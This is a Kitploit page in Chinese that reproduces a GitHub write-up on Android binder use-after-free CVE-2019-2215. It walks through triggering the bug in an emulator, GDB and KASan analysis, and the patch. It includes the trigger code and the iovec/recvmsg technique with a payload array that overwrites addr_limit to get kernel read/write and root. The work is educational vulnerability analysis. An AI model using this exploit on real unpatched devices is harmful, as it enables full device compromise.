Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
AndroidKernelVulnerability — 触发与分析 Android 内核漏洞 CVE-2019-2215 | Kitploit
工具/GitHubGitHub/sharif-dev/androidkernelvulnerability
Android安全权限提升静态分析动态分析 (沙盒)漏洞利用学习与教育二进制利用实验室与实践
GitHub

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
sharif-dev/androidkernelvulnerability

AndroidKernelVulnerability

触发与分析 Android 内核漏洞 CVE-2019-2215

查看仓库
72193年前Kitploit 审核通过

Android 内核漏洞

概述

2017 年 11 月,syzkaller 系统检测到 Linux 内核 的一个 use-after-free 漏洞。2018 年 2 月,一些 Linux 内核和 Android 版本中修补了此漏洞。

此修复从未包含在 Android 月度安全公告 中,因此许多新发布的设备(如 Pixel 和 Pixel2)并未修补此漏洞。

2019 年 9 月,Project Zero 向 Android 通报了此漏洞的安全影响。随后,Android 为此漏洞分配了 CVE-2019-2215,使其更为正式和公开。

CVE-2019-2215 是 binder.c 中的一个 use-after-free 漏洞,它允许从 Android 应用程序进行权限提升(获取 root 访问权限)。利用此漏洞无需用户交互。只需安装一个恶意的本地应用程序即可。

接下来,我们将更详细地介绍这个 Android 内核漏洞,并利用该漏洞获取整个 Android 设备的 root 访问权限(权限提升)。

我们将使用以下概念验证(PoC):

https://github.com/cloudfuzz/android-kernel-exploitation

触发漏洞

我们首先会向你展示一种在 Android 模拟器上触发此漏洞并导致内核崩溃的方法。然后,为了了解它的危险性,我们继续使用 PoC 在模拟的 Android 设备中获取 root 访问权限。随后,我们将分析内核代码,找出其中的原因(静态分析和动态分析)。

分析之后,我们将看到我们是如何获得 root 访问权限的。最后,我们将了解如何通过补丁缓解此漏洞。

要通过触发此漏洞使内核崩溃,我们使用以下步骤:

  1. 首先,你需要一个安装了 'gdb' 和 'python' 的 Linux 操作系统。
  2. 克隆 PoC 仓库。(https://github.com/cloudfuzz/android-kernel-exploitation)
  3. 安装 Android 模拟器和 Android NDK(通过安装 Android Studio)
  4. 克隆 Android 内核源代码。(将使用 'q-goldfish-android-goldfish-4.14-dev' 分支)
  5. 这个内核已经打过补丁,我们对其进行修改,以在该内核代码中重新引入该漏洞。
  6. 现在我们应该从源代码构建内核。我们使用 KASan 构建我们的内核。
  7. 我们启动构建好的内核,并用它运行我们的模拟器。
  8. 然后,通过使用 PoC 仓库中的 'trigger.cpp',我们触发崩溃(使用 'adb' 命令)。
  9. 我们将使用 PoC 中的 'root-me.py' 和 'gdb' 命令来获取模拟设备中的 root 访问权限。

观看以下视频:

[视频]

静态分析

在本节(以及下一节)中,我们将通过静态和动态分析来理解崩溃发生的原因。

在这里,我们将分析内核代码(静态分析)以理解该问题。在 crash_report.txt 中,有来自 KASan 的报告,指出这是一个 use-after-free 漏洞。这意味着一个对象在堆中被分配(并且我们有一个指向它的引用),然后我们从堆中释放了该对象,之后我们又错误地通过一个引用调用了它。该报告中打印了这三个阶段的堆栈跟踪。

如果你还记得上面的内容,我们在 PoC 中使用了 'trigger.cpp'。

以下是 trigger.cpp 的主要代码:``` int main() { //1 int fd, epfd; //2 struct epoll_event event = {.events = EPOLLIN}; //3 fd = open("/dev/binder", O_RDONLY); //4 epfd = epoll_create(1000); //5 epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event); //6 ioctl(fd, BINDER_THREAD_EXIT, NULL); }

root@kitploit:~
我们来看看 `trigger.cpp` 在做什么。

在 Android 中(与其他基于 Unix 的操作系统一样),我们有一些进程。我们运行的每个程序都会创建一个(或多个)进程,这些进程由操作系统(OS)管理。操作系统可以在它们之间切换(多任务处理),或者终止某个进程等。出于安全原因,进程默认彼此隔离。

在某些情况下,一个进程可能需要与另一个进程交换数据。这称为进程间通信(IPC)。在 Linux 中有多种方式可以让进程通信。Android 引入了一种名为 **'Binder'** 的特定 IPC 机制。Binder 是一个用于促进进程间通信的内核驱动程序。

在 Android 中,IPC 可以通过直接调用一些内核方法(其中大部分位于 drivers/binder.c)或使用高级实现(例如 Java)来完成。






![alt_text](https://raw.githubusercontent.com/sharif-dev/AndroidKernelVulnerability/master/images/binder.jpg)


为了使用 **binder**,我们应该打开内核的 binder 模块。这通过 trigger.cpp 的第 3 行完成。然后我们会得到一个文件描述符指针,通过这个 fd,可以识别 IPC 的内核发起方和接收方。

与驱动器的所有交互都将通过一小组 **'ioctl'** 命令(BINDER_THREAD_EXIT、BINDER_WRITE_READ 等)进行。

关于 binder 的更多信息:[link1](https://www.nds.ruhr-uni-bochum.de/media/attachments/files/2012/03/binder.pdf)、[link2](http://rts.lab.asu.edu/web_438/project_final/CSE_598_Android_Architecture_Binder.pdf)

在 Linux 中,我们有一个称为 '**event polling**' 的概念。当我们想要监视多个文件描述符(当我们打开驱动程序或处理 IO 等时,得到的就是文件描述符)时,会使用 '**epoll**' API。

**epoll** 是一个内核结构体,它有两个重要字段。



*   interest list = 我们想要监视的文件描述符列表。
*   ready list = 准备好进行 I/O 的文件描述符列表。

为了使用事件轮询,我们首先创建一个 epoll(第 4 行),然后通过调用内核的 **epoll_ctl** 方法,将一个与文件描述符(**fd**)相关联的事件(&event)添加或删除(EPOLL_CTL_ADD)到我们创建的 epoll(**epfd**)中。

=> `epoll_event event` 是一个事件,当关联的文件(fd)可用于读取操作时触发。

现在我们理解了 **trigger.cpp** 在做什么(不需要深入研究!)。它打开 **binder** 模块,创建一个 **epoll** 来在它准备好时监听它。然后在第 6 行,我们退出了从第 3 行开始的 binder。


#### 分配(Allocate):

通过调用 open(),我们实际上调用了 **open_binder()**(binder.c 中 open() 的实现),在 open_binder() 中,会创建一个新的 **'binder_proc'** 结构体,并且:

   ` fd->pricate_data = binder_proc`

通过调用 **epoll_create()**,会创建一个新的 epoll 结构体并添加到队列结构中。






![alt_text](https://raw.githubusercontent.com/sharif-dev/AndroidKernelVulnerability/master/images/event_poll.jpg)


通过调用 **epoll_ctrl(epdf, ADD, fd, event)**,会创建一个新的 **ep_item**,将 **fd**(要监听的描述符)关联到这个 **ep_item**,并将其插入到 event_poll 的 **红黑树**(epoll 中用于保存 ep_item 的数据结构)中。它还会调用 **ep_item_poll()**,该方法处理回调函数与 ep_item 的关联。

它会创建一个新的 **binder_thread** 结构体(**分配发生在这里**),将其链接到(上面创建的)**binder_proc**,然后创建一个 **epoll_entry** 结构体,它有两个链表,**epoll_entry->wait** 和 **epoll_entry->whead**,这两个链表都有一个指向之前创建的 **binder_thread** 的指针。

然后 **epoll_entry** 被链接到 ep_item(**ep_item->pwqlist** 是一个包含该 epoll_entry 的链表)。





![alt_text](https://raw.githubusercontent.com/sharif-dev/AndroidKernelVulnerability/master/images/even_poll.jpg)



#### 释放(Free):

通过调用 **ioctl(fd, ...)**,通过 fd->private_data 访问 binder_proc,然后 **binder_thread** 结构体会从内存中被**释放**。


#### 使用(Use):

当当前进程退出时,将会调用 **epoll_ctl(epfd, DEL, fd, event)**。

它会调用 **ep_remove(event_poll, ep_item)**。该方法从 **ep_item->pwqlist** 中获取 **epoll_entry**,然后获取 ep_item 的等待列表(**ep_tem->wait**),它是一个链表,它想要移除这个等待列表中的某一项。

它使用以下代码(使用伪代码):```
entry = wait->entry;
entry.next.prev = entry.prev;
entry.prev.next = entry.next;

这里 wait->entry 是指向 已从内存中移除的 binder_thread! 的指针。所以这是一个释放后使用(use-after-free)问题,会导致 bug!!

  • 在上面的代码中,我们使用了与内核实际代码类似的代码,它们在细节上可能有所不同。(在某些情况下,使用 binder_thread 而不是 binder_thread->wait)

总结:

我们创建了一个 event_poll,它包含一棵 红黑树(red_black_tree),每个节点是一个 ep_item,它有一个字段是 epoll_entry 列表,每个 epoll_entry 有两个指向 binder_thread 结构体的指针 (wait, whead).

通过调用 ioctl(),我们从内存中释放了 binder_thread,然后在退出时,这个结构体通过一个仍然可用的指针被访问了!

动态分析

动态分析是通过实时执行数据来测试和评估程序;以在程序运行时发现错误。

步骤:

  1. 构建不带 KASan 的 Android 内核

  2. 使用新构建的内核启动模拟器

  3. 启动模拟器

  4. 使用 GDB 附加到 QEMU 实例

  5. 构建漏洞触发器并将其推送到虚拟设备

  6. 在 GDB 中设置断点

    加载自定义 python 脚本(仓库中的 dynamic-analysis.py): 用于跟踪函数调用,并在 binder_thread 被释放前后转储其结构体内存块。还要在 unlink 操作前后转储相同的 binder_thread 结构体。

    在此文件中,我们首先删除所有断点,然后设置 2 个断点(BP);第一个符号是“binder_free_thread”(将跟踪 binder_free_thread 函数);在 binder_thread 被释放之前,会调用 stop 函数;因此参数和符号将通过(gb.write(....))显示,然后会调用回调方法(我们将其设置为 set_dump_binder_thread );在此函数中,binder_thread_address 将被设置到我们的全局变量中,gdb.execute 会将命令产生的任何输出发送到 GDB 的标准输出。

    第二个符号是“remove_wait_queue”(将跟踪 remove_wait_queue 函数),我们要观察的参数是 "wq_head"、"wq_entry",并且会在退出时设置 wait.c:52 断点。它们的回调函数是 dump_binder_thread 。这些断点将显示 unlink 操作前后发生的情况。

  7. 启动 adb shell 并运行触发 PoC

结果:

  • 结果的第一部分:
root@kitploit:~
binder_free_thread(thread=0xffff88800c18f200)(enter)
0xffff88800c18f200:	0xffff88806793c000	 0x0000000000000001
0xffff88800c18f210:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f220:	0xffff88800c18f220	 0xffff88800c18f220
0xffff88800c18f230:	0x0000002000001b35	 0x0000000000000001
0xffff88800c18f240:	0x0000000000000000	 0xffff88800c18f248
0xffff88800c18f250:	0xffff88800c18f248	 0x0000000000000000
0xffff88800c18f260:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f270:	0x0000000000000003	 0x0000000000007201
0xffff88800c18f280:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f290:	0x0000000000000003	 0x0000000000007201
0xffff88800c18f2a0:	0x0000000000000000	 0xffff88805c05cae0
0xffff88800c18f2b0:	0xffff88805c05cae0	 0x0000000000000000
0xffff88800c18f2c0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2d0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2e0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2f0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f300:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f310:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f320:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f330:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f340:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f350:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f360:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f370:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f380:	0x0000000000000000	 0x0000000000000001
0xffff88800c18f390:	0xffff88806d4bb200

在我们的 python 代码中,有以下代码:``` gdb.write ( "{function}({param})(enter)\n".format( function=self.function_name, param=params ) )

root@kitploit:~
并且它是 binder_free_thread 函数,因此该函数的参数是指向 binder_thread 的指针:```
static void binder_free_thread(struct binder_thread *thread)
{
        [...]
        kfree(thread);
}

在结果中,我们有(binder_free_thread(thread=0xffff88800c18f200)(enter))。

后面的行显示了执行结果,通过下面的命令我们可以获得 binder_thread.wait 的偏移量:``` p offsetof(struct binder_thread, wait)

root@kitploit:~
结果是 0xa0,如果在命令中用 wait.head 代替 wait,结果将是 0xa8,并且它包含 `0xffff88805c05cae0````
0xffff88805c05cae0 is pointer to eppoll_entry->wait.entry which is of type struct list_head
  • 第二部分结果
root@kitploit:~
remove_wait_queue(wq_head=0xffff88800c18f2a0, wq_entry=0xffff88805c05cac8)(enter)
0xffff88800c18f200:	0xffff88800c18f600	 0x0000000000000001
0xffff88800c18f210:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f220:	0xffff88800c18f220	 0xffff88800c18f220
0xffff88800c18f230:	0x0000002000001b35	 0x0000000000000001
0xffff88800c18f240:	0x0000000000000000	 0xffff88800c18f248
0xffff88800c18f250:	0xffff88800c18f248	 0x0000000000000000
0xffff88800c18f260:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f270:	0x0000000000000003	 0x0000000000007201
0xffff88800c18f280:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f290:	0x0000000000000003	 0x0000000000007201
0xffff88800c18f2a0:	0x0000000000000000	 0xffff88805c05cae0
0xffff88800c18f2b0:	0xffff88805c05cae0	 0x0000000000000000
0xffff88800c18f2c0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2d0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2e0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2f0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f300:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f310:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f320:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f330:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f340:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f350:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f360:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f370:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f380:	0x0000000000000000	 0x0000000000000001
0xffff88800c18f390:	0xffff88806d4bb200

在 remove_wait_queue(wq_head=0xffff88800c18f2a0, wq_entry=0xffff88805c05cac8)(enter) 中,wq_head 是 binder_thread.wait 的地址,wq_entry 是 wait.head 的数据。

在此之后将发生 unlink 操作。

  • 第三部分结果:
root@kitploit:~
Breakpoint 3 at 0xffffffff802aa5be: file /home/ashfaq/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 53.
remove_wait_queue_wait.c:52(exit)
0xffff88800c18f200:	0xffff88800c18f600	 0x0000000000000001
0xffff88800c18f210:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f220:	0xffff88800c18f220	 0xffff88800c18f220
0xffff88800c18f230:	0x0000002000001b35	 0x0000000000000001
0xffff88800c18f240:	0x0000000000000000	 0xffff88800c18f248
0xffff88800c18f250:	0xffff88800c18f248	 0x0000000000000000
0xffff88800c18f260:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f270:	0x0000000000000003	 0x0000000000007201
0xffff88800c18f280:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f290:	0x0000000000000003	 0x0000000000007201
0xffff88800c18f2a0:	0x0000000000000000	 0xffff88800c18f2a8
0xffff88800c18f2b0:	0xffff88800c18f2a8	 0x0000000000000000
0xffff88800c18f2c0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2d0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2e0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2f0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f300:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f310:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f320:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f330:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f340:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f350:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f360:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f370:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f380:	0x0000000000000000	 0x0000000000000001
0xffff88800c18f390:	0xffff88806d4bb200

高亮部分是由 此 引起的。该结果是在 unlink 操作之后得到的,我们可以看到,unlink 会将地址(0xffff88800c18f2a0 + 0x8)写入 next 和 previous。

也就是说:

(指向 binder_thread->wait.head) = binder_thread->wait.head.next = `binder_thread->wait.head.prev

利用漏洞

在本部分中,我们将展示如何利用这个 bug 来获得 root 权限。

回顾上文,我们有一个 binder_thread 结构体,它曾被 释放,然后又通过一个指针被 再次使用。以下是 binder_thread 结构体的代码:``` struct binder_thread { struct binder_proc proc; struct rb_node rb_node; struct list_head waiting_thread_node; int pid; int looper; / only modified by this thread*/ bool looper_need_return; /* can be written by other thread*/ struct binder_transaction *transaction_stack; struct list_head todo; bool process_todo; struct binder_error return_error; struct binder_error reply_error; wait_queue_head_t wait; struct binder_stats stats; atomic_t tmp_ref; bool is_dead; struct task_struct *task; };

root@kitploit:~
其中一个字段是指针 **task_struct**,该结构体有一个名为 **addr_limit** 的字段。

当我们要访问进程中的某个地址时,会检查该地址是否位于**用户空间**内,如果它位于**内核空间**,则此次访问应被阻止。该检查通过将我们的地址与 **addr_limit** 进行比较来实现,如果我们的地址小于 **addr_limit**,则访问有效。

**addr_limit** 实际上将用户空间与内核空间分隔开,因此通过更改 **task_struct** 中的这个字段,我们就可以完全访问内核空间,从而可以做任何事情!

这里我们有两个利用步骤:

1. 在内核空间中找到 task_struct 的地址
2. 更改 task_struct 中的 addr_limit

#### 寻找 task_struct 的地址

在内核中,我们可以执行向量化 I/O,这意味着我们可以向文件描述符(文件、套接字等)写入或读取多个数据块。

向量化 I/O 通过使用 **writev**、**readv**、**recvmsg** 方法以及  **iovec** 结构体来完成。```
struct iovec 
{ 
     void __user *iov_base; /* BSD uses caddr_t (1003.1g requires void *) */ \
     __kernel_size_t iov_len; /* Must be size_t (1003.1g) */ \
};

通过使用向量化 I/O,我们对一组缓冲区(iovec)执行 I/O 操作。每个 iovec 都有一个指向缓冲区的指针(iov_base)以及缓冲区的大小(iov_len)。

向量化 I/O

例如,如果我们要将一组缓冲区写入文件(fd),我们可以调用

writev(fd, iovecStack, count)

该方法(与 readv 和 recvmsg 类似)首先将 iovec 数组(iovecStack)复制到内核空间,然后从这些缓冲区读取数据并写入 fd。

  • 第一部分(将 iovec 数组复制到内核空间)在三种方法中是相似的。

我们可以使用 pipe 来写入和读取缓冲区,pipe 是一个结构体,它为我们提供两个文件描述符,一个用于读取,一个用于写入。pipe 有一个以字节为单位的长度,当一个进程向 pipe 写入超过其长度的数据时,pipe 会阻塞该进程,并等待另一个进程从该 pipe 中读取数据(使用该 pipe 的读取文件描述符)。

Linux 中的 pipe

内核会尝试根据结构体的大小为其分配内存。例如,当我们从内存中释放 binder_thread 结构体时(参见静态分析),如果之后有一个大小与 binder_thread 相似的结构体,它有很大机会被分配到与已释放的 binder_thread 相同的位置。

首先,我们创建一个大小与 binder_thread 结构体相似的 iovecStack(iovec 结构体数组)。

然后我们从内存中释放 binder_thread(参见静态分析的“释放”部分)

然后我们对这个 iovecStack 调用 writev()。该方法的第一个部分将 iovecStack 复制到内核空间,

我们的 iovecStack 更有可能被分配到与已释放的 binder_thread 相同的位置。

如果 iovecStack 中有足够的 iovec,那么 binder_thread 位置处的内存看起来像这样:

alt_text

可以看到,iovecStack[10].iov_base、iovecStack[10].iov_len 和 iovecStack[11].iov_base 将与 binder_thread 的 wait.lock、wait.head.next 和 wait.head.prev 字段位于相同位置。

在静态分析的**‘利用’部分中,我们看到崩溃是因为在解除链接**过程(从链表中移除一个元素)中访问了 binder_thread 的 wait 部分而发生的。

在解除链接过程中,wait.head 被解除链接,它的 next 和 prev 字段将指向 binder_thread 的 wait 字段(解除链接)。

alt_text

在 writev 的第二部分(从 iovec 写入文件)发生之前,如果我们运行解除链接过程,iovecStack[10].iov_len 和 iovecStack[11].iov_base 将被一个内核地址覆盖。然后在运行 writev 的其余部分时,当它要处理 iovecStack[11] 时,它会从 iovecStack[11].iov_base(= binder_thread 中 wait 的地址)读取长度为 iovecStack[11].iov_len 的数据。

如果 iovecStack[11].iov_len 足够大,我们就能从 binder_thread 的 wait 字段一直读取到 task_struct 字段,这样我们就能获得 task_struct 指针。

  • 在静态分析的释放部分中,binder_thread 并不会全部释放,像 task_struct 这样的部分会保留(为了简单起见,我们之前没有提及这一点)。

因此,为了获取 task_struct 指针,我们执行以下步骤:

  1. 我们创建一个 pipe 和一个 iovec 栈
  2. 创建 binder_thread 和 event_poll,并将它们链接起来(就像我们在静态分析中所做的那样)
  3. fork 一个子进程(现在我们有父进程和子进程)
  4. 在父进程中调用 writev,它会将 iovecStack 导入内核空间(在继续之前,例如通过向 pipe 写入垃圾数据来阻塞 writev。)
  5. 在子进程中执行解除链接操作。然后读取垃圾数据,以便通知父进程。
  6. 在父进程中,继续执行 writev() 的其余部分,从内核空间的 iovec 中读取数据并写入文件。
  7. 现在文件中包含了从内核空间中 binder_thread 的 wait 字段开始向下读取的数据(task_struct 位于 wait 字段之后 0xe8 字节处)。

参见仓库中的 exploit.cpp。

修改 task_struct 中的 addr_limit

现在我们有了内核空间中 task_struct 的地址(task_ptr)。

这里我们使用 socket_pair 而不是 pipe。我们使用 recvmsg() 从 socket 读取数据并写入 iovec。

步骤:

  1. 首先我们像上面那样进行初始化
  2. fork 一个子进程
  3. 向 socket_pair 中写入一些垃圾数据
  4. 在父进程中调用 recvmsg():
    1. 它将 iovec 导入内核空间
    2. 然后它读取垃圾数据并等待(阻塞)从 socket 接收其他数据。
  5. 在子进程中执行 unlink 操作
  6. 在子进程中向 socket 写入以下数据:``` static uint64_t finalSocketData[] = { 0x1, // iovecStack[10].iov_len 0x41414141, // iovecStack[11].iov_base 0x8 + 0x8 + 0x8 + 0x8, // iovecStack[11].iov_len (uint64_t) ((uint8_t *) task_ptr + OFFSET_OF_ADDR_LIMIT_IN_TASK_STRUCT), // iovecStack[12].iov_base 0xFFFFFFFFFFFFFFFE // addr_limit value };
root@kitploit:~
写入之后,**recvmsg**() 开始从套接字读取数据并写入 **iovecStack**。由于垃圾数据的存在,它已经写到了 **iovecStack**[10]。

因此它开始在 **iovecStack**[12] 处写入 **finalSocketData**,从 **iovecStack[12].iov_base** 获取地址,由于 unlink 操作,该地址正是 **wait in binder_thread** 的地址,**iovecStack[12].iov_len** 被设置为 4 字节,因此写入:

*   将 0x1 写入 iovecStack[10].iov_len
*   将 0x41414141 写入 iovecStack[11].iov_base
*   将 0x8 + 0x8 + 0x8 + 0x8 写入 iovecStack[11].iov_len
*   将 **pointer_to_addr_limit** 写入 iovecStack[12].iov_base

现在 **iovecStack[11]** 中已写入了 4 字节,所以 **recvmsg**() 转到 **iovecStack[12]** 写入 **finalSocketData** 的剩余部分:

将 **0xFFFFFFFFFFFFFFFE** 写入 **iovecStack[12].iov_base** 所指向的地址,该地址被设置为 **pointer_to_addr_limit**,这意味着 recvmsg() 将 addr_limit 改为 0xFFFFFFFFFFFFFFFE(而不是 0xFFFFFFFFFFFFFFFF,因为 arm64 存在一些问题)。

现在用户空间几乎扩展到全部内核空间!(并且可以做任何事!!)

# 补丁

binder_poll() 传递 thread->wait 等待队列,该队列可用于睡眠等待工作。当使用 epoll 的线程通过 BINDER_THREAD_EXIT 显式退出时,等待队列会被释放,但该等待队列<span style="text-decoration:underline;">从未从对应的 epoll 数据结构中移除</span>。当进程随后退出时,epoll 清理代码会尝试访问该等待列表,从而导致 use-after-free(释放后使用)。

通过在线程退出时使用 POLLFREE 来防止此问题。

我们有以下代码:```
static int binder_thread_release(struct binder_proc *proc, struct binder_thread *thread)
{
        .
        .
        .
        int active_transactions = 0;
        .
        .
        .
        binder_thread_dec_tmpref(thread);
        return active_transactions;
}

这些代码行已添加到源代码中:

root@kitploit:~
static int binder_thread_release(struct binder_proc *proc,
binder_thread *thread)
{
	.
	.
	.
	/*
	 * If this thread used poll, make sure we remove the waitqueue
	 * from any epoll data structures holding it with POLLFREE.
	 * waitqueue_active() is safe to use here because we're holding
	 * the inner lock.
	*/
	  if ((thread->looper & BINDER_LOOPER_STATE_POLL) && waitqueue_active(&thread->wait)) {
		wake_up_poll(&thread->wait, EPOLLHUP | POLLFREE);
	  }
	  binder_inner_proc_unlock(thread->proc);
	  /*
	   * This is needed to avoid races between wake_up_poll() above and
	   * and ep_remove_waitqueue() called for other reasons (eg the epoll file
	   * descriptor being closed); ep_remove_waitqueue() holds an RCU read
	   * lock, so we can be sure it's done after calling synchronize_rcu().
	  */
	  if (thread->looper & BINDER_LOOPER_STATE_POLL)
		synchronize_rcu();
	  .
	  .
	  .
}

完整代码见此处

定义

内核

操作系统是一层软件,它负责让所有硬件更高效地工作,并构建一个基础设施,使你使用的应用程序能够在其上运行,其核心是内核。

漏洞利用

漏洞利用背后的想法很简单:软件存在缺陷,缺陷会使软件行为异常,或错误地执行它本应正确执行的任务;利用缺陷意味着将这种异常行为转化为攻击者的优势。可利用的缺陷被称为漏洞。

特权与非特权

特权用户或进程是指对设备拥有完全访问权限的用户或进程。

大多数指令集架构至少提供两种执行模式:

特权:所有机器级指令都可访问。

非特权:仅可访问指令的子集。

UAF 漏洞

释放后使用(Use-After-Free)漏洞是一种内存损坏缺陷,可被黑客利用来执行任意代码。

Use-After-Free 特指在内存被释放后尝试访问该内存,这可能导致程序崩溃,或者在 Use-After-Free 缺陷的情况下,可能造成任意代码执行,甚至实现完整的远程代码执行能力。

CVE-2019-2215

是 Android 内核中 Binder 的一个释放后使用漏洞。该缺陷是一个本地权限提升漏洞,可导致易受攻击的设备被完全攻破。如果与浏览器渲染器漏洞链式利用,该缺陷可以通过恶意网站完全攻破设备。它可以从 Chrome 沙箱内部触达。

注意:它适用于 Pixel 1 和 Pixel 2,但不适用于 Pixel 3 和 Pixel 3a。参见此攻击。

Android 安全公告

Android 安全公告是由 Google 每月发布的一份列表。该列表包含已修复的影响 Android 框架、Linux 内核等的安全漏洞。

Syzkaller

Syzkaller 是一个内核模糊测试器。模糊测试(Fuzzing)是一种测试技术,自动化程序为目标程序生成半随机输入,以检查是否触发任何缺陷。模糊测试在发现 C 或 C++ 程序中的内存损坏缺陷方面尤其有用。

Project Zero

Project Zero 是谷歌雇佣的一支安全分析师团队,其任务是寻找零日漏洞。零日漏洞是指那些本应修复它的人却尚未知晓的漏洞。

GDB

GDB 是 GNU 项目调试器(GNU Project Debugger)的缩写,是 UNIX 系统上调试 C 和 C++ 程序最流行的调试器。GDB 允许你将程序运行到某一点,然后停下来并打印该点某些变量的值,或者逐行单步执行程序,并在执行完每一行后打印每个变量的值。

你可以将 Android 模拟器与 gdbserver 连接起来进行调试。

内核地址消毒器

内核地址消毒器(KASAN)是一种动态内存错误检测器,旨在发现越界和释放后使用缺陷。KASAN 使用编译时插桩,在每次内存访问前插入有效性检查,因此需要支持该功能的编译器版本。内核内存访问可以与影子映射(shadow map)进行比对,以检查其有效性。

QEMU

QEMU(快速模拟器)是一个免费开源模拟器,可执行硬件虚拟化。Android 模拟器是 QEMU 模拟器的下游项目;它增加了启动 Android 设备的支持,模拟典型的 Android 硬件(OpenGL、GPS、GSM、传感器)和 GUI 界面。Android 模拟器以多种方式扩展了 QEMU。

静态分析

在静态分析中,我们使用程序的源代码来查找缺陷或任何问题。我们不会运行该程序。

动态分析

在动态分析中,我们分析程序运行时的行为。例如,通过提供特殊输入。

Android NDK

Android NDK 是一个工具集,可让你在 Android 设备上运行 C 和 C++ 等原生代码。

Android Goldfish

Android goldfish 内核用于在 Android 模拟器中运行内核代码。可以克隆并修改它,然后构建以在模拟器中使用。

Android 调试桥

ADB 是一个命令行工具。它有助于与正在运行的 Android 设备通信并从中获取 shell。它可以用于调试目的。

参考资料

https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html

https://nvd.nist.gov/vuln/detail/CVE-2019-2215

https://www.tutorialspoint.com/gnu_debugger

https://www.kernel.org/doc/html/latest/dev-tools/kasan.html

https://android.googlesource.com/kernel/goldfish/

https://man7.org/linux/man-pages/man7/epoll.7.html

https://www.scaler.com/topics/c/debugging-c-program/

下载工具